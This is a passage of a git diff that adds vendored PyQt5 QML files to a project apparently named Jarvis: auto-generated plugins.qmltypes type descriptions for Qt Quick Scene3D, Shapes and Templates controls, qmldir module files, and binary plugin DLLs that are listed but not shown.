"QStringList" } + } + Method { + name: "setEntity" + Parameter { name: "entity"; type: "Qt3DCore::QEntity"; isPointer: true } + } + Method { + name: "setCameraAspectRatioMode" + Parameter { name: "mode"; type: "CameraAspectRatioMode" } + } + Method { + name: "setHoverEnabled" + Parameter { name: "enabled"; type: "bool" } + } + Method { + name: "setCompositingMode" + Parameter { name: "mode"; type: "CompositingMode" } + } + Method { + name: "setItemAreaAndDevicePixelRatio" + Parameter { name: "area"; type: "QSize" } + Parameter { name: "devicePixelRatio"; type: "double" } + } + } + Component { + name: "Qt3DRender::Scene3DView" + defaultProperty: "entity" + prototype: "QQuickItem" + exports: ["QtQuick.Scene3D/Scene3DView 2.14"] + exportMetaObjectRevisions: [0] + Property { name: "entity"; type: "Qt3DCore::QEntity"; isPointer: true } + Property { name: "scene3D"; type: "Qt3DRender::Scene3DItem"; isPointer: true } + Method { + name: "setEntity" + Parameter { name: "entity"; type: "Qt3DCore::QEntity"; isPointer: true } + } + Method { + name: "setScene3D" + Parameter { name: "scene3D"; type: "Scene3DItem"; isPointer: true } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Scene3D/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Scene3D/qmldir new file mode 100644 index 00000000..0f551d24 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Scene3D/qmldir @@ -0,0 +1,3 @@ +module QtQuick.Scene3D +plugin qtquickscene3dplugin +classname QtQuickScene3DPlugin diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Scene3D/qtquickscene3dplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Scene3D/qtquickscene3dplugin.dll new file mode 100644 index 00000000..cfc2901e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Scene3D/qtquickscene3dplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Shapes/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Shapes/plugins.qmltypes new file mode 100644 index 00000000..92320612 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Shapes/plugins.qmltypes @@ -0,0 +1,154 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by qmltyperegistrar. + +Module { + dependencies: ["QtQuick 2.0"] + Component { + file: "qquickshape_p.h" + name: "QQuickShape" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick.Shapes/Shape 1.0", + "QtQuick.Shapes/Shape 1.1", + "QtQuick.Shapes/Shape 1.11", + "QtQuick.Shapes/Shape 1.4", + "QtQuick.Shapes/Shape 1.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Enum { + name: "RendererType" + values: [ + "UnknownRenderer", + "GeometryRenderer", + "NvprRenderer", + "SoftwareRenderer" + ] + } + Enum { + name: "Status" + values: ["Null", "Ready", "Processing"] + } + Enum { + name: "ContainsMode" + values: ["BoundingRectContains", "FillContains"] + } + Property { name: "rendererType"; type: "RendererType"; isReadonly: true } + Property { name: "asynchronous"; type: "bool" } + Property { name: "vendorExtensionsEnabled"; type: "bool" } + Property { name: "status"; type: "Status"; isReadonly: true } + Property { name: "containsMode"; revision: 11; type: "ContainsMode" } + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Signal { name: "rendererChanged" } + Signal { name: "containsModeChanged"; revision: 11 } + Method { name: "_q_shapePathChanged" } + } + Component { + file: "qquickshape_p.h" + name: "QQuickShapeConicalGradient" + defaultProperty: "stops" + prototype: "QQuickShapeGradient" + exports: [ + "QtQuick.Shapes/ConicalGradient 1.0", + "QtQuick.Shapes/ConicalGradient 1.12" + ] + exportMetaObjectRevisions: [0, 12] + Property { name: "centerX"; type: "double" } + Property { name: "centerY"; type: "double" } + Property { name: "angle"; type: "double" } + } + Component { + file: "qquickshape_p.h" + name: "QQuickShapeGradient" + defaultProperty: "stops" + prototype: "QQuickGradient" + exports: [ + "QtQuick.Shapes/ShapeGradient 1.0", + "QtQuick.Shapes/ShapeGradient 1.12" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 12] + Enum { + name: "SpreadMode" + values: ["PadSpread", "RepeatSpread", "ReflectSpread"] + } + Property { name: "spread"; type: "SpreadMode" } + } + Component { + file: "qquickshape_p.h" + name: "QQuickShapeLinearGradient" + defaultProperty: "stops" + prototype: "QQuickShapeGradient" + exports: [ + "QtQuick.Shapes/LinearGradient 1.0", + "QtQuick.Shapes/LinearGradient 1.12" + ] + exportMetaObjectRevisions: [0, 12] + Property { name: "x1"; type: "double" } + Property { name: "y1"; type: "double" } + Property { name: "x2"; type: "double" } + Property { name: "y2"; type: "double" } + } + Component { + file: "qquickshape_p.h" + name: "QQuickShapePath" + defaultProperty: "pathElements" + prototype: "QQuickPath" + exports: [ + "QtQuick.Shapes/ShapePath 1.0", + "QtQuick.Shapes/ShapePath 1.14" + ] + exportMetaObjectRevisions: [0, 14] + Enum { + name: "FillRule" + values: ["OddEvenFill", "WindingFill"] + } + Enum { + name: "JoinStyle" + values: ["MiterJoin", "BevelJoin", "RoundJoin"] + } + Enum { + name: "CapStyle" + values: ["FlatCap", "SquareCap", "RoundCap"] + } + Enum { + name: "StrokeStyle" + values: ["SolidLine", "DashLine"] + } + Property { name: "strokeColor"; type: "QColor" } + Property { name: "strokeWidth"; type: "double" } + Property { name: "fillColor"; type: "QColor" } + Property { name: "fillRule"; type: "FillRule" } + Property { name: "joinStyle"; type: "JoinStyle" } + Property { name: "miterLimit"; type: "int" } + Property { name: "capStyle"; type: "CapStyle" } + Property { name: "strokeStyle"; type: "StrokeStyle" } + Property { name: "dashOffset"; type: "double" } + Property { name: "dashPattern"; type: "QVector" } + Property { name: "fillGradient"; type: "QQuickShapeGradient"; isPointer: true } + Property { name: "scale"; revision: 14; type: "QSizeF" } + Signal { name: "shapePathChanged" } + Method { name: "_q_fillGradientChanged" } + } + Component { + file: "qquickshape_p.h" + name: "QQuickShapeRadialGradient" + defaultProperty: "stops" + prototype: "QQuickShapeGradient" + exports: [ + "QtQuick.Shapes/RadialGradient 1.0", + "QtQuick.Shapes/RadialGradient 1.12" + ] + exportMetaObjectRevisions: [0, 12] + Property { name: "centerX"; type: "double" } + Property { name: "centerY"; type: "double" } + Property { name: "centerRadius"; type: "double" } + Property { name: "focalX"; type: "double" } + Property { name: "focalY"; type: "double" } + Property { name: "focalRadius"; type: "double" } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Shapes/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Shapes/qmldir new file mode 100644 index 00000000..306ad1ec --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Shapes/qmldir @@ -0,0 +1,4 @@ +module QtQuick.Shapes +plugin qmlshapesplugin +classname QmlShapesPlugin +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Shapes/qmlshapesplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Shapes/qmlshapesplugin.dll new file mode 100644 index 00000000..9d039773 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Shapes/qmlshapesplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Templates.2/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Templates.2/plugins.qmltypes new file mode 100644 index 00000000..42c04c80 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Templates.2/plugins.qmltypes @@ -0,0 +1,3122 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable -dependencies dependencies.json QtQuick.Templates 2.15' + +Module { + dependencies: ["QtQuick 2.9", "QtQuick.Window 2.2"] + Component { + name: "QQuickAbstractButton" + defaultProperty: "data" + prototype: "QQuickControl" + exports: [ + "QtQuick.Templates/AbstractButton 2.0", + "QtQuick.Templates/AbstractButton 2.2", + "QtQuick.Templates/AbstractButton 2.3", + "QtQuick.Templates/AbstractButton 2.4", + "QtQuick.Templates/AbstractButton 2.5" + ] + exportMetaObjectRevisions: [0, 2, 3, 4, 5] + Enum { + name: "Display" + values: { + "IconOnly": 0, + "TextOnly": 1, + "TextBesideIcon": 2, + "TextUnderIcon": 3 + } + } + Property { name: "text"; type: "string" } + Property { name: "down"; type: "bool" } + Property { name: "pressed"; type: "bool"; isReadonly: true } + Property { name: "checked"; type: "bool" } + Property { name: "checkable"; type: "bool" } + Property { name: "autoExclusive"; type: "bool" } + Property { name: "autoRepeat"; type: "bool" } + Property { name: "indicator"; type: "QQuickItem"; isPointer: true } + Property { name: "icon"; revision: 3; type: "QQuickIcon" } + Property { name: "display"; revision: 3; type: "Display" } + Property { name: "action"; revision: 3; type: "QQuickAction"; isPointer: true } + Property { name: "autoRepeatDelay"; revision: 4; type: "int" } + Property { name: "autoRepeatInterval"; revision: 4; type: "int" } + Property { name: "pressX"; revision: 4; type: "double"; isReadonly: true } + Property { name: "pressY"; revision: 4; type: "double"; isReadonly: true } + Property { name: "implicitIndicatorWidth"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitIndicatorHeight"; revision: 5; type: "double"; isReadonly: true } + Signal { name: "pressed" } + Signal { name: "released" } + Signal { name: "canceled" } + Signal { name: "clicked" } + Signal { name: "pressAndHold" } + Signal { name: "doubleClicked" } + Signal { name: "toggled"; revision: 2 } + Signal { name: "iconChanged"; revision: 3 } + Signal { name: "displayChanged"; revision: 3 } + Signal { name: "actionChanged"; revision: 3 } + Signal { name: "autoRepeatDelayChanged"; revision: 4 } + Signal { name: "autoRepeatIntervalChanged"; revision: 4 } + Signal { name: "pressXChanged"; revision: 4 } + Signal { name: "pressYChanged"; revision: 4 } + Signal { name: "implicitIndicatorWidthChanged"; revision: 5 } + Signal { name: "implicitIndicatorHeightChanged"; revision: 5 } + Method { name: "toggle" } + } + Component { + name: "QQuickAction" + prototype: "QObject" + exports: ["QtQuick.Templates/Action 2.3"] + exportMetaObjectRevisions: [0] + Property { name: "text"; type: "string" } + Property { name: "icon"; type: "QQuickIcon" } + Property { name: "enabled"; type: "bool" } + Property { name: "checked"; type: "bool" } + Property { name: "checkable"; type: "bool" } + Property { name: "shortcut"; type: "QVariant" } + Signal { + name: "textChanged" + Parameter { name: "text"; type: "string" } + } + Signal { + name: "iconChanged" + Parameter { name: "icon"; type: "QQuickIcon" } + } + Signal { + name: "enabledChanged" + Parameter { name: "enabled"; type: "bool" } + } + Signal { + name: "checkedChanged" + Parameter { name: "checked"; type: "bool" } + } + Signal { + name: "checkableChanged" + Parameter { name: "checkable"; type: "bool" } + } + Signal { + name: "shortcutChanged" + Parameter { name: "shortcut"; type: "QKeySequence" } + } + Signal { + name: "toggled" + Parameter { name: "source"; type: "QObject"; isPointer: true } + } + Signal { name: "toggled" } + Signal { + name: "triggered" + Parameter { name: "source"; type: "QObject"; isPointer: true } + } + Signal { name: "triggered" } + Method { + name: "toggle" + Parameter { name: "source"; type: "QObject"; isPointer: true } + } + Method { name: "toggle" } + Method { + name: "trigger" + Parameter { name: "source"; type: "QObject"; isPointer: true } + } + Method { name: "trigger" } + } + Component { + name: "QQuickActionGroup" + defaultProperty: "actions" + prototype: "QObject" + exports: ["QtQuick.Templates/ActionGroup 2.3"] + exportMetaObjectRevisions: [0] + attachedType: "QQuickActionGroupAttached" + Property { name: "checkedAction"; type: "QQuickAction"; isPointer: true } + Property { name: "actions"; type: "QQuickAction"; isList: true; isReadonly: true } + Property { name: "exclusive"; type: "bool" } + Property { name: "enabled"; type: "bool" } + Signal { + name: "triggered" + Parameter { name: "action"; type: "QQuickAction"; isPointer: true } + } + Method { + name: "addAction" + Parameter { name: "action"; type: "QQuickAction"; isPointer: true } + } + Method { + name: "removeAction" + Parameter { name: "action"; type: "QQuickAction"; isPointer: true } + } + } + Component { + name: "QQuickActionGroupAttached" + prototype: "QObject" + Property { name: "group"; type: "QQuickActionGroup"; isPointer: true } + } + Component { + name: "QQuickApplicationWindow" + defaultProperty: "contentData" + prototype: "QQuickWindowQmlImpl" + exports: [ + "QtQuick.Templates/ApplicationWindow 2.0", + "QtQuick.Templates/ApplicationWindow 2.3" + ] + exportMetaObjectRevisions: [0, 3] + attachedType: "QQuickApplicationWindowAttached" + Property { name: "background"; type: "QQuickItem"; isPointer: true } + Property { name: "contentItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "contentData"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "activeFocusControl"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "header"; type: "QQuickItem"; isPointer: true } + Property { name: "footer"; type: "QQuickItem"; isPointer: true } + Property { name: "overlay"; type: "QQuickOverlay"; isReadonly: true; isPointer: true } + Property { name: "font"; type: "QFont" } + Property { name: "locale"; type: "QLocale" } + Property { name: "palette"; revision: 3; type: "QPalette" } + Property { name: "menuBar"; revision: 3; type: "QQuickItem"; isPointer: true } + Signal { name: "paletteChanged"; revision: 3 } + Signal { name: "menuBarChanged"; revision: 3 } + } + Component { + name: "QQuickApplicationWindowAttached" + prototype: "QObject" + Property { name: "window"; type: "QQuickApplicationWindow"; isReadonly: true; isPointer: true } + Property { name: "contentItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "activeFocusControl"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "header"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "footer"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "overlay"; type: "QQuickOverlay"; isReadonly: true; isPointer: true } + Property { name: "menuBar"; type: "QQuickItem"; isReadonly: true; isPointer: true } + } + Component { + name: "QQuickBusyIndicator" + defaultProperty: "data" + prototype: "QQuickControl" + exports: ["QtQuick.Templates/BusyIndicator 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "running"; type: "bool" } + } + Component { + name: "QQuickButton" + defaultProperty: "data" + prototype: "QQuickAbstractButton" + exports: ["QtQuick.Templates/Button 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "highlighted"; type: "bool" } + Property { name: "flat"; type: "bool" } + } + Component { + name: "QQuickButtonGroup" + prototype: "QObject" + exports: [ + "QtQuick.Templates/ButtonGroup 2.0", + "QtQuick.Templates/ButtonGroup 2.1", + "QtQuick.Templates/ButtonGroup 2.3", + "QtQuick.Templates/ButtonGroup 2.4" + ] + exportMetaObjectRevisions: [0, 1, 3, 4] + attachedType: "QQuickButtonGroupAttached" + Property { name: "checkedButton"; type: "QQuickAbstractButton"; isPointer: true } + Property { name: "buttons"; type: "QQuickAbstractButton"; isList: true; isReadonly: true } + Property { name: "exclusive"; revision: 3; type: "bool" } + Property { name: "checkState"; revision: 4; type: "Qt::CheckState" } + Signal { + name: "clicked" + revision: 1 + Parameter { name: "button"; type: "QQuickAbstractButton"; isPointer: true } + } + Signal { name: "exclusiveChanged"; revision: 3 } + Signal { name: "checkStateChanged"; revision: 4 } + Method { + name: "addButton" + Parameter { name: "button"; type: "QQuickAbstractButton"; isPointer: true } + } + Method { + name: "removeButton" + Parameter { name: "button"; type: "QQuickAbstractButton"; isPointer: true } + } + } + Component { + name: "QQuickButtonGroupAttached" + prototype: "QObject" + Property { name: "group"; type: "QQuickButtonGroup"; isPointer: true } + } + Component { + name: "QQuickCheckBox" + defaultProperty: "data" + prototype: "QQuickAbstractButton" + exports: [ + "QtQuick.Templates/CheckBox 2.0", + "QtQuick.Templates/CheckBox 2.4" + ] + exportMetaObjectRevisions: [0, 4] + Property { name: "tristate"; type: "bool" } + Property { name: "checkState"; type: "Qt::CheckState" } + Property { name: "nextCheckState"; revision: 4; type: "QJSValue" } + Signal { name: "nextCheckStateChanged"; revision: 4 } + } + Component { + name: "QQuickCheckDelegate" + defaultProperty: "data" + prototype: "QQuickItemDelegate" + exports: [ + "QtQuick.Templates/CheckDelegate 2.0", + "QtQuick.Templates/CheckDelegate 2.4" + ] + exportMetaObjectRevisions: [0, 4] + Property { name: "tristate"; type: "bool" } + Property { name: "checkState"; type: "Qt::CheckState" } + Property { name: "nextCheckState"; revision: 4; type: "QJSValue" } + Signal { name: "nextCheckStateChanged"; revision: 4 } + } + Component { + name: "QQuickComboBox" + defaultProperty: "data" + prototype: "QQuickControl" + exports: [ + "QtQuick.Templates/ComboBox 2.0", + "QtQuick.Templates/ComboBox 2.1", + "QtQuick.Templates/ComboBox 2.14", + "QtQuick.Templates/ComboBox 2.15", + "QtQuick.Templates/ComboBox 2.2", + "QtQuick.Templates/ComboBox 2.5" + ] + exportMetaObjectRevisions: [0, 1, 14, 15, 2, 5] + Property { name: "count"; type: "int"; isReadonly: true } + Property { name: "model"; type: "QVariant" } + Property { name: "delegateModel"; type: "QQmlInstanceModel"; isReadonly: true; isPointer: true } + Property { name: "pressed"; type: "bool" } + Property { name: "highlightedIndex"; type: "int"; isReadonly: true } + Property { name: "currentIndex"; type: "int" } + Property { name: "currentText"; type: "string"; isReadonly: true } + Property { name: "displayText"; type: "string" } + Property { name: "textRole"; type: "string" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "indicator"; type: "QQuickItem"; isPointer: true } + Property { name: "popup"; type: "QQuickPopup"; isPointer: true } + Property { name: "flat"; revision: 1; type: "bool" } + Property { name: "down"; revision: 2; type: "bool" } + Property { name: "editable"; revision: 2; type: "bool" } + Property { name: "editText"; revision: 2; type: "string" } + Property { name: "validator"; revision: 2; type: "QValidator"; isPointer: true } + Property { name: "inputMethodHints"; revision: 2; type: "Qt::InputMethodHints" } + Property { name: "inputMethodComposing"; revision: 2; type: "bool"; isReadonly: true } + Property { name: "acceptableInput"; revision: 2; type: "bool"; isReadonly: true } + Property { name: "implicitIndicatorWidth"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitIndicatorHeight"; revision: 5; type: "double"; isReadonly: true } + Property { name: "currentValue"; revision: 14; type: "QVariant"; isReadonly: true } + Property { name: "valueRole"; revision: 14; type: "string" } + Property { name: "selectTextByMouse"; revision: 15; type: "bool" } + Signal { + name: "activated" + Parameter { name: "index"; type: "int" } + } + Signal { + name: "highlighted" + Parameter { name: "index"; type: "int" } + } + Signal { name: "flatChanged"; revision: 1 } + Signal { name: "accepted"; revision: 2 } + Signal { name: "downChanged"; revision: 2 } + Signal { name: "editableChanged"; revision: 2 } + Signal { name: "editTextChanged"; revision: 2 } + Signal { name: "validatorChanged"; revision: 2 } + Signal { name: "inputMethodHintsChanged"; revision: 2 } + Signal { name: "inputMethodComposingChanged"; revision: 2 } + Signal { name: "acceptableInputChanged"; revision: 2 } + Signal { name: "implicitIndicatorWidthChanged"; revision: 5 } + Signal { name: "implicitIndicatorHeightChanged"; revision: 5 } + Signal { name: "valueRoleChanged"; revision: 14 } + Signal { name: "currentValueChanged"; revision: 14 } + Signal { name: "selectTextByMouseChanged"; revision: 15 } + Method { name: "incrementCurrentIndex" } + Method { name: "decrementCurrentIndex" } + Method { name: "selectAll"; revision: 2 } + Method { + name: "textAt" + type: "string" + Parameter { name: "index"; type: "int" } + } + Method { + name: "find" + type: "int" + Parameter { name: "text"; type: "string" } + Parameter { name: "flags"; type: "Qt::MatchFlags" } + } + Method { + name: "find" + type: "int" + Parameter { name: "text"; type: "string" } + } + Method { + name: "valueAt" + revision: 14 + type: "QVariant" + Parameter { name: "index"; type: "int" } + } + Method { + name: "indexOfValue" + revision: 14 + type: "int" + Parameter { name: "value"; type: "QVariant" } + } + } + Component { + name: "QQuickContainer" + defaultProperty: "contentData" + prototype: "QQuickControl" + exports: [ + "QtQuick.Templates/Container 2.0", + "QtQuick.Templates/Container 2.1", + "QtQuick.Templates/Container 2.3", + "QtQuick.Templates/Container 2.5" + ] + exportMetaObjectRevisions: [0, 1, 3, 5] + Property { name: "count"; type: "int"; isReadonly: true } + Property { name: "contentModel"; type: "QVariant"; isReadonly: true } + Property { name: "contentData"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "contentChildren"; type: "QQuickItem"; isList: true; isReadonly: true } + Property { name: "currentIndex"; type: "int" } + Property { name: "currentItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "contentWidth"; revision: 5; type: "double" } + Property { name: "contentHeight"; revision: 5; type: "double" } + Signal { name: "contentWidthChanged"; revision: 5 } + Signal { name: "contentHeightChanged"; revision: 5 } + Method { + name: "setCurrentIndex" + Parameter { name: "index"; type: "int" } + } + Method { name: "incrementCurrentIndex"; revision: 1 } + Method { name: "decrementCurrentIndex"; revision: 1 } + Method { + name: "itemAt" + type: "QQuickItem*" + Parameter { name: "index"; type: "int" } + } + Method { + name: "addItem" + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + } + Method { + name: "insertItem" + Parameter { name: "index"; type: "int" } + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + } + Method { + name: "moveItem" + Parameter { name: "from"; type: "int" } + Parameter { name: "to"; type: "int" } + } + Method { + name: "removeItem" + Parameter { name: "item"; type: "QVariant" } + } + Method { + name: "takeItem" + revision: 3 + type: "QQuickItem*" + Parameter { name: "index"; type: "int" } + } + } + Component { name: "QQuickContentItem"; defaultProperty: "data"; prototype: "QQuickItem" } + Component { + name: "QQuickControl" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick.Templates/Control 2.0", + "QtQuick.Templates/Control 2.3", + "QtQuick.Templates/Control 2.5" + ] + exportMetaObjectRevisions: [0, 3, 5] + Property { name: "font"; type: "QFont" } + Property { name: "availableWidth"; type: "double"; isReadonly: true } + Property { name: "availableHeight"; type: "double"; isReadonly: true } + Property { name: "padding"; type: "double" } + Property { name: "topPadding"; type: "double" } + Property { name: "leftPadding"; type: "double" } + Property { name: "rightPadding"; type: "double" } + Property { name: "bottomPadding"; type: "double" } + Property { name: "spacing"; type: "double" } + Property { name: "locale"; type: "QLocale" } + Property { name: "mirrored"; type: "bool"; isReadonly: true } + Property { name: "focusPolicy"; type: "Qt::FocusPolicy" } + Property { name: "focusReason"; type: "Qt::FocusReason" } + Property { name: "visualFocus"; type: "bool"; isReadonly: true } + Property { name: "hovered"; type: "bool"; isReadonly: true } + Property { name: "hoverEnabled"; type: "bool" } + Property { name: "wheelEnabled"; type: "bool" } + Property { name: "background"; type: "QQuickItem"; isPointer: true } + Property { name: "contentItem"; type: "QQuickItem"; isPointer: true } + Property { name: "baselineOffset"; type: "double" } + Property { name: "palette"; revision: 3; type: "QPalette" } + Property { name: "horizontalPadding"; revision: 5; type: "double" } + Property { name: "verticalPadding"; revision: 5; type: "double" } + Property { name: "implicitContentWidth"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitContentHeight"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitBackgroundWidth"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitBackgroundHeight"; revision: 5; type: "double"; isReadonly: true } + Property { name: "topInset"; revision: 5; type: "double" } + Property { name: "leftInset"; revision: 5; type: "double" } + Property { name: "rightInset"; revision: 5; type: "double" } + Property { name: "bottomInset"; revision: 5; type: "double" } + Signal { name: "paletteChanged"; revision: 3 } + Signal { name: "horizontalPaddingChanged"; revision: 5 } + Signal { name: "verticalPaddingChanged"; revision: 5 } + Signal { name: "implicitContentWidthChanged"; revision: 5 } + Signal { name: "implicitContentHeightChanged"; revision: 5 } + Signal { name: "implicitBackgroundWidthChanged"; revision: 5 } + Signal { name: "implicitBackgroundHeightChanged"; revision: 5 } + Signal { name: "topInsetChanged"; revision: 5 } + Signal { name: "leftInsetChanged"; revision: 5 } + Signal { name: "rightInsetChanged"; revision: 5 } + Signal { name: "bottomInsetChanged"; revision: 5 } + } + Component { + name: "QQuickDelayButton" + defaultProperty: "data" + prototype: "QQuickAbstractButton" + exports: ["QtQuick.Templates/DelayButton 2.2"] + exportMetaObjectRevisions: [0] + Property { name: "delay"; type: "int" } + Property { name: "progress"; type: "double" } + Property { name: "transition"; type: "QQuickTransition"; isPointer: true } + Signal { name: "activated" } + } + Component { + name: "QQuickDial" + defaultProperty: "data" + prototype: "QQuickControl" + exports: [ + "QtQuick.Templates/Dial 2.0", + "QtQuick.Templates/Dial 2.2", + "QtQuick.Templates/Dial 2.5" + ] + exportMetaObjectRevisions: [0, 2, 5] + Enum { + name: "SnapMode" + values: { + "NoSnap": 0, + "SnapAlways": 1, + "SnapOnRelease": 2 + } + } + Enum { + name: "InputMode" + values: { + "Circular": 0, + "Horizontal": 1, + "Vertical": 2 + } + } + Property { name: "from"; type: "double" } + Property { name: "to"; type: "double" } + Property { name: "value"; type: "double" } + Property { name: "position"; type: "double"; isReadonly: true } + Property { name: "angle"; type: "double"; isReadonly: true } + Property { name: "stepSize"; type: "double" } + Property { name: "snapMode"; type: "SnapMode" } + Property { name: "wrap"; type: "bool" } + Property { name: "pressed"; type: "bool"; isReadonly: true } + Property { name: "handle"; type: "QQuickItem"; isPointer: true } + Property { name: "live"; revision: 2; type: "bool" } + Property { name: "inputMode"; revision: 5; type: "InputMode" } + Signal { name: "moved"; revision: 2 } + Signal { name: "liveChanged"; revision: 2 } + Signal { name: "inputModeChanged"; revision: 5 } + Method { name: "increase" } + Method { name: "decrease" } + } + Component { + name: "QQuickDialog" + defaultProperty: "contentData" + prototype: "QQuickPopup" + exports: [ + "QtQuick.Templates/Dialog 2.1", + "QtQuick.Templates/Dialog 2.3", + "QtQuick.Templates/Dialog 2.5" + ] + exportMetaObjectRevisions: [0, 3, 5] + Enum { + name: "StandardCode" + values: { + "Rejected": 0, + "Accepted": 1 + } + } + Property { name: "title"; type: "string" } + Property { name: "header"; type: "QQuickItem"; isPointer: true } + Property { name: "footer"; type: "QQuickItem"; isPointer: true } + Property { name: "standardButtons"; type: "QPlatformDialogHelper::StandardButtons" } + Property { name: "result"; revision: 3; type: "int" } + Property { name: "implicitHeaderWidth"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitHeaderHeight"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitFooterWidth"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitFooterHeight"; revision: 5; type: "double"; isReadonly: true } + Signal { name: "accepted" } + Signal { name: "rejected" } + Signal { name: "applied"; revision: 3 } + Signal { name: "reset"; revision: 3 } + Signal { name: "discarded"; revision: 3 } + Signal { name: "helpRequested"; revision: 3 } + Signal { name: "resultChanged"; revision: 3 } + Method { name: "accept" } + Method { name: "reject" } + Method { + name: "done" + Parameter { name: "result"; type: "int" } + } + Method { + name: "standardButton" + revision: 3 + type: "QQuickAbstractButton*" + Parameter { name: "button"; type: "QPlatformDialogHelper::StandardButton" } + } + } + Component { + name: "QQuickDialogButtonBox" + defaultProperty: "contentData" + prototype: "QQuickContainer" + exports: [ + "QtQuick.Templates/DialogButtonBox 2.1", + "QtQuick.Templates/DialogButtonBox 2.3", + "QtQuick.Templates/DialogButtonBox 2.5" + ] + exportMetaObjectRevisions: [0, 3, 5] + attachedType: "QQuickDialogButtonBoxAttached" + Enum { + name: "Position" + values: { + "Header": 0, + "Footer": 1 + } + } + Property { name: "position"; type: "Position" } + Property { name: "alignment"; type: "Qt::Alignment" } + Property { name: "standardButtons"; type: "QPlatformDialogHelper::StandardButtons" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "buttonLayout"; revision: 5; type: "QPlatformDialogHelper::ButtonLayout" } + Signal { name: "accepted" } + Signal { name: "rejected" } + Signal { name: "helpRequested" } + Signal { + name: "clicked" + Parameter { name: "button"; type: "QQuickAbstractButton"; isPointer: true } + } + Signal { name: "applied"; revision: 3 } + Signal { name: "reset"; revision: 3 } + Signal { name: "discarded"; revision: 3 } + Signal { name: "buttonLayoutChanged"; revision: 5 } + Method { + name: "standardButton" + type: "QQuickAbstractButton*" + Parameter { name: "button"; type: "QPlatformDialogHelper::StandardButton" } + } + } + Component { + name: "QQuickDialogButtonBoxAttached" + prototype: "QObject" + Property { name: "buttonBox"; type: "QQuickDialogButtonBox"; isReadonly: true; isPointer: true } + Property { name: "buttonRole"; type: "QPlatformDialogHelper::ButtonRole" } + } + Component { + name: "QQuickDrawer" + defaultProperty: "contentData" + prototype: "QQuickPopup" + exports: [ + "QtQuick.Templates/Drawer 2.0", + "QtQuick.Templates/Drawer 2.2" + ] + exportMetaObjectRevisions: [0, 2] + Property { name: "edge"; type: "Qt::Edge" } + Property { name: "position"; type: "double" } + Property { name: "dragMargin"; type: "double" } + Property { name: "interactive"; revision: 2; type: "bool" } + Signal { name: "interactiveChanged"; revision: 2 } + } + Component { + name: "QQuickFrame" + defaultProperty: "contentData" + prototype: "QQuickPane" + exports: ["QtQuick.Templates/Frame 2.0"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QQuickGroupBox" + defaultProperty: "contentData" + prototype: "QQuickFrame" + exports: [ + "QtQuick.Templates/GroupBox 2.0", + "QtQuick.Templates/GroupBox 2.5" + ] + exportMetaObjectRevisions: [0, 5] + Property { name: "title"; type: "string" } + Property { name: "label"; type: "QQuickItem"; isPointer: true } + Property { name: "implicitLabelWidth"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitLabelHeight"; revision: 5; type: "double"; isReadonly: true } + Signal { name: "implicitLabelWidthChanged"; revision: 5 } + Signal { name: "implicitLabelHeightChanged"; revision: 5 } + } + Component { + name: 